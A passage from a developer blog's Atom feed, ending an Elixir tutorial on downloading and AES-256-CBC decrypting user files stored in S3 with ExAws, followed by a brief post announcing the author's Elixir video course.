&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:transaction_commited&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;reason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;rollback&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;reason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;rollback&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:transaction_rollback_error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! Now you know how to encrypt and upload files to S3. Now, let&apos;s look at the downloading and decryption part.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#download-files&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;download-files&quot;&gt;&lt;/a&gt;Download Files&lt;/h2&gt;
&lt;p&gt;Our &lt;code&gt;DownloadEncryptedFile&lt;/code&gt; service downloads the file using its &lt;code&gt;resource_path&lt;/code&gt; and decrypts it. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.DownloadEncryptedFile&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;download&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;decrypt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;download&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws.S3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_object&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;region: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;decrypt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encryption_iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aes_256_cbc&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:crypto&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;crypto_one_time&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;unpad&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;unpad&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_remove&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;last&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;:binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;part&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;byte_size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_remove&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The service first downloads the file from its &lt;code&gt;file.resource_path&lt;/code&gt; and then decrypts it. The decryption looks very similar to the encryption, but in reverse and with a &lt;code&gt;false&lt;/code&gt;-flag in the &lt;code&gt;:crypto.crypto_one_time/5&lt;/code&gt; function for decryption. If you look at the &lt;a href=&quot;https://stackoverflow.com/questions/37629194/how-to-encrypt-and-decrypt-with-aes-cbc-128-in-elixir&quot;&gt;unpad/1&lt;/a&gt; function, you see how we remove the last bytes that we used for padding during the encryption.&lt;/p&gt;
&lt;p&gt;The service returns raw bytes, which we can then return from our Phoenix Controller and show in our &lt;code&gt;&lt;img&gt;&lt;/code&gt; or &lt;code&gt;&lt;embed&gt;&lt;/code&gt; elements.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#demo-time&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;demo-time&quot;&gt;&lt;/a&gt;Demo Time!&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! If you put all these pieces together, you&apos;ll get a working demo for encrypting and uploading, and downloading and decrypting of user files to S3.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/upload-encrypted-files-to-s3"/>
    <id>https://peterullrich.com/upload-encrypted-files-to-s3</id>
    <title>Upload Encrypted Files to S3</title>
    <updated>2023-05-07T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks! I&apos;ve got an exciting announcement to make!&lt;/p&gt;
&lt;p&gt;I&apos;ve just launched &lt;strong&gt;my very first video course&lt;/strong&gt; titled &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;Build an MVP with Elixir&lt;/a&gt;! Whether you&apos;re a newbie developer or a seasoned pro looking to get into Elixir, this course will teach you how to get started!&lt;/p&gt;
&lt;p&gt;The course shows you how to quickly develop and deploy a product using Elixir and Phoenix LiveView. It takes a learning-by-doing approach to giving you all you need to know to build your own product or to hit the ground running if you just switched to Elixir.&lt;/p&gt;
&lt;p&gt;In the course, we will create the &lt;a href=&quot;https://blogcash.app&quot;&gt;blogcash.app&lt;/a&gt; demo product, a blogging platform that allows authors to sell individual articles to their readers. It includes setting up user authentication, payment processing with LemonSqueezy, adding a custom domain, a mailing service, and much more.&lt;/p&gt;
&lt;p&gt;In general, you will learn about these main topics:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setting up your local development environment 🛠️&lt;/li&gt;
&lt;li&gt;Crafting a Phoenix application 🌐&lt;/li&gt;
&lt;li&gt;Deploying your masterpiece to Fly.io 🚀&lt;/li&gt;
&lt;li&gt;A hands-on introduction to Phoenix and Phoenix LiveView 📚&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can check out the course and its complete table of contents on &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;Gumroad&lt;/a&gt;. See you there! :)&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/announcing-my-new-video-course"/>
    <id>https://peterullrich.com/announcing-my-new-video-course</id>
    <title>Announcing my new Video Course!</title>
